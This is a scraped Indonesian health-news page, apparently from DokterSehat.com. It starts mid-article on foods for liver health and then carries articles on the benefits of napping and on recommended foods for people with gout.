Masalah hati yang paling sering terjadi adalah munculnya sirosis baik karena makanan biasa atau karena alkohol. Kondisi ini menyebabkan hati seseorang jadi keras. Oleh karena itu mengurangi lemak di dalam tubuh adalah salah satu cara terbaik untuk menjaga kesehatan hati.

Bawang putih yang dikonsumsi dalam bumbu makanan ternyata bisa menyebabkan penurunan lemak. Itulah kenapa Anda harus selalu menambahkannya di setiap masakan atau diolah menjadi makanan lain.

  1. Anggur

Anggur mengandung vitamin C yang baik sekali untuk kesehatan dan daya tahan. Mengonsumsi anggur dalam jumlah yang tepat akan membuat hati semakin sehat dan berbagai peradangan tidak akan terjadi.

  1. Oatmeal

Oatmeal mengandung banyak sekali senyawa yang cocok untuk menjaga daya tahan. Selanjutnya kandungan serat yang tinggi juga melindungi tubuh dari obesitas yang berlebihan juga kondisi diabetes.

Anda bisa mengonsumsi oatmeal secara langsung atau diolah menjadi makanan yang lebih kompleks. Saat mengolah juga usahakan untuk tidak menambahkan banyak gula.

  1. Ikan laut berlemak

Ikan berlemak baik untuk kesehatan tubuh karena bisa mempromosikan omega-3 yang baik untuk mengatasi peradangan. Selain itu konsumsi suplemen seperti minyak ikan juga menghindari lemak di hati.

  1. Kacang

Kacang yang dikonsumsi dalam jumlah yang cukup bisa mengatasi peradangan. Selain itu kacang juga mencegah terjadinya stres oksidatif.

Berbagai jenis kacang bisa dimakan. Namun, ada baiknya menghindari kacang tanah. Kalau yang ada hanya kacang tanah batasi konsumsinya cm 1-2 genggaman tangan per hari.

  1. Minyak zaitun

Stres oksidatif bisa menyebabkan gangguan pada hati dan fungsinya menjadi anjlok. Agar kondisi ini tidak terjadi, Anda harus mengonsumsi minyak zaitun. Minyak ini bisa dikonsumsi secara langsung atau digunakan untuk memasak.

  1. Jeruk bali

Jeruk bali bisa dipilih untuk mengatasi masalah hati karena mengandung antioksidan yang bermanfaat. Antioksidan ini melindungi sel pada hati agar tidak mudah sekali berlemak dan akhirnya mengeras menjadi sirosis yang mematikan.

Selanjutnya jeruk bali yang kaya vitamin C ini juga bisa meningkat fungsi hati dalam membakar lemak. Dampaknya tubuh akan memiliki banyak energi dan mereka yang diet bisa kuat menjalaninya.

Inilah sedikit ulasan tentang organ hati mulai dari fungsi, gangguan, dan makanan terbaik untuk menjaganya. Nah, dari beberapa ulasan di atas, mana saja yang belum Anda ketahui sebelumnya? Semoga setelah ini Anda bisa lebih memahami masalah liver dan bagaimana cara untuk membuatnya tetap sehat setiap saat.



Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Ngantuk Setelah Tahun Baruan? Jangan Lupa Tidur Siang

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

kebiasaan-sebelum-tidur-doktersehat-1
Photo Credit: Pexels.com

DokterSehat.Com– Tahun baru identik dengan hari libur yang menyenangkan. Bagaimana tidak, kita bisa menikmati perayaan tahun baru yang biasanya sangat meriah. Meskipun begitu, karena perayaan ini dilakukan di tengah malam, kita pun akan mudah mengantuk di hari pertama tahun ini. Mengingat kurang tidur bisa membuat tubuh tidak fit, pakar kesehatan pun menyarankan kita untuk tidur siang.

Manfaat dari tidur siang

Meskipun terlihat seperti malas-malasan, toh kita memang bisa melakukan tidur siang di hari pertama tahun ini karena memang sedang libur. Selain itu, kita juga bisa menghilangkan rasa kantuk akibat kurang tidur semalaman.

Berikut adalah beberapa manfaat dari tidur siang.

  1. Tidur siang bisa mencegah penyakit jantung

Sebuah penelitian yang dipublikasikan oleh The Washington Post dan melibatkan 23 ribu orang dewasa dari Yunani menghasilkan fakta bahwa kebiasaan tidur siang bisa menurunkan risiko kematian dirini akibat penyakit jantung. Hal ini disebabkan oleh tidur siang yang bisa membantu menghilangkan stres akibat berbagai masalah yang kita alami.

  1. Membuat suasana hati membaik

Jika kita cermati, kurang tidur bisa membuat suasana hati kita menjadi sangat buruk. Kita pun cenderung mudah salah paham atau emosi. Dengan tidur siang selama 10 menit saja, maka suasana hati kita akan semakin membaik dan kita pun akan bisa menikmati liburan tahun baru.

  1. Mencegah hipertensi

Pakar kesehatan menyebut kebiasaan kurang tidur bisa meningkatkan tekanan darah dan risiko hipertensi. Dengan tidur siang, maka kita juga akan mencegah datangnya penyakit ini dengan lebih baik.

Kaitan antara tidur siang dengan hipertensi

Sebuah penelitian yang dipublikasikan hasilnya dalam European Society of Cardiology Congress pada 2015 silam menghasilkan fakta bahwa tidur siang bisa menurunkan risiko terkena hipertensi dengan efektif. Dalam penelitian yang melibatkan 200 pria dan 186 wanita yang mempunyai tekanan darah tinggi dengan usia rata-rata 61,4 tahun ini, dihasilkan fakta bahwa para partisipan yang rutin tidur siang cenderung memiliki tekanan darah sistolik 5 persen lebih rendah dibandingkan dengan mereka yang jarang atau bahkan tidak pernah tidur siang.

Meskipun penurunannya terlihat tidak begitu besar, yakni sekitar 2 mmHg saja, pakar kesehatan menyebut hal ini bisa menurunkan risiko terkena berbagai penyakit kardiovaskular hingga 10 persen.

Waktu terbaik untuk tidur siang

Pakar kesehatan dr. Brian Murray dari University of Toronto dan Sunnybrook Health Sciences Center menyebut hampir semua orang dewasa membutuhkan tidur siang. Hal ini disebabkan oleh kebutuhan waktu istirahat orang dewasa yang mencapai 7 hingga 9 jam. Jika di malam sebelumnya kita kurang tidur, maka kita pun membutuhkan tidur siang demi membuat tubuh mendapatkan kebutuhan istirahatnya.

Dr. Judith Davideson dari Queen’s University juga menyebut rasa kantuk yang muncul di siang hari ternyata juga terkait dengan jam biologis kita. Biasanya, rasa kantuk ini akan muncul pada pukul 13.00 hingga 16.00. Jika kita sudah merasa mengantuk di jam-jam tersebut namun tidak kunjung tidur siang, maka kita pun akan merasa lelah, kurang berkonsentrasi, dan mengalami penurunan kinerja.

Waktu terbaik untuk tidur siang adalah di antara jam-jam tersebut. Hanya saja, durasi tidur siang ini sebaiknya tidak begitu panjang. Sebagai contoh, dr. Charles Morin dari Laval University menyarankan kita untuk membatasi waktu tidur siang sekitar 15 hingga 30 menit saja. Hal ini sudah cukup untuk menambah energi sekaligus menghilangkan rasa kantuk. Hanya saja, jika kita memang membutuhkan waktu tidur lebih lama karena kurang tidur, kita bisa melakukannya lebih lama.



Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Makanan yang Paling Direkomendasikan Bagi Asam Urat

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

apel-doktersehat

DokterSehat.Com– Salah satu penyakit yang sebenarnya tidak membahayakan nyawa namun bisa membuat pengidapnya sangat menderita adalah asam urat. Bagaimana tidak, penyakit ini bisa menyebabkan gejala nyeri, pembengkakan, atau bahkan sensasi kaku pada persendian sehingga sulit untuk digerakkan. Banyak orang yang mengaku mengalami masalah susah tidur atau tidak mampu melakukan aktivitas sehari-hari dengan normal akibat hal ini.

Terdapat banyak pantangan asam urat

Jika penderita asam urat tidak menerapkan gaya hidup sehat dan mematuhi berbagai pantangan yang disarankan pakar kesehatan, maka gejala dari serangan penyakit ini bisa menjadi semakin parah atau bahkan semakin sering muncul.

Beberapa jenis pantangan yang sebaiknya dihindari oleh mereka adalah minuman beralkohol, makanan manis dan tinggi gula, serta makanan yang tinggi purin seperti daging merah, jeroan, makanan laut, dan beberapa jenis kacang-kacangan. Masalahnya adalah beberapa jenis sayuran seperti bayam, jamur, kembang kol, dan asparagus juga memiliki kandungan purin yang cukup tinggi sehingga sebaiknya tidak sembarangan dikonsumsi penderita asam urat.

Beberapa makanan yang direkomendasikan bagi penderita asam urat

Meskipun banyak pantangan yang harus dihindari oleh penderita asam urat, bukan berarti mereka tidak bisa mengonsumsi makanan enak. Ternyata ada makanan atau minuman yang justru direkomendasikan untuk mereka konsumsi.

Berikut adalah makanan dan minuman tersebut.

  1. Air putih

Jangan salah, rasa dari air putih memang tawar, tapi mampu memberikan kesegaran yang luar biasa bagi tubuh kita. Mencukupi kebutuhan air putih setiap hari juga bisa memberikan manfaat kesehatan bagi penderita asam urat. Hal ini disebabkan oleh kemampuan air dalam membantu mengeluarkan racun, termasuk zat asam urat yang berlebihan dari dalam tubuh. Dengan kadar asam urat yang lebih terkendali, serangan asam urat pun bisa dicegah kedatangannya dengan lebih baik.

  1. Teh hijau

Minuman ini dianggap sebagai penghilang stres karena memiliki rasa yang sangat nikmat. Tak disangka, jika kita rutin mengonsumsi teh hijau secara rutin, maka kita akan mampu mengendalikan hiperuricemia atau kondisi kadar asam urat yang tinggi dengan lebih baik.

  1. Makanan tinggi serat

Pakar kesehatan dari University of Maryland Medical Center menyebutkan bahwa makanan tinggi serat seperti oatmeal, gandum utuh, dan beberapa jenis buah-buahan seperti pisang mampu menurunkan kadar asam urat dalam tubuh sehingga membantu penderita penyakit ini mencegah kedatangan serangannya.

  1. Makanan tinggi vitamin C

Dengan mengonsumsi vitamin C dalam jumlah yang cukup, maka tubuh akan lebih baik dalam membuang kelebihan zat asam urat sehingga tidak akan terus menumpuk di persendian. Beberapa jenis buah yang tinggi vitamin C seperti berbagai jenis jeruk, jambu biji, kiwi, dan nanas direkomendasikan bagi penderita asam urat.

Buah seperti jeruk nipis juga sangat disarankan untuk dijadikan minuman yang rutin dikonsumsi setidaknya dua kali setiap hari karena kandungan asam sitratnya bisa membantu pelarutan zat asam urat sehingga akan lebih mudah dikeluarkan dari dalam tubuh.

  1. Buah apel

Apel memiliki kandungan malic acid yang bisa membuat tubuh menetralkan asam urat dengan lebih baik. Pakar kesehatan menyarankan penderita asam urat untuk mengonsumsi buah ini setidaknya satu buah setiap hari.

  1. Buah ceri

Di dalam buah ceri terdapat kandungan anthocyanis yang bersifat anti peradangan. Kandungan ini bisa mencegah peradangan pada persendian sekaligus mencegah pengendapan zat asam urat pada bagian tubuh tersebut. Mengonsumsi 200 gram ceri setiap hari sangatlah direkomendasikan bagi penderita asam urat.

  1. Buah beri

Beberapa jenis buah beri seperti stroberi atau blueberry sangat direkomendasikan bagi penderita asam urat karena memiliki sifat anti peradangan yang tinggi sehingga bisa membantu mencegah datangnya serangan penyakit ini.



Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.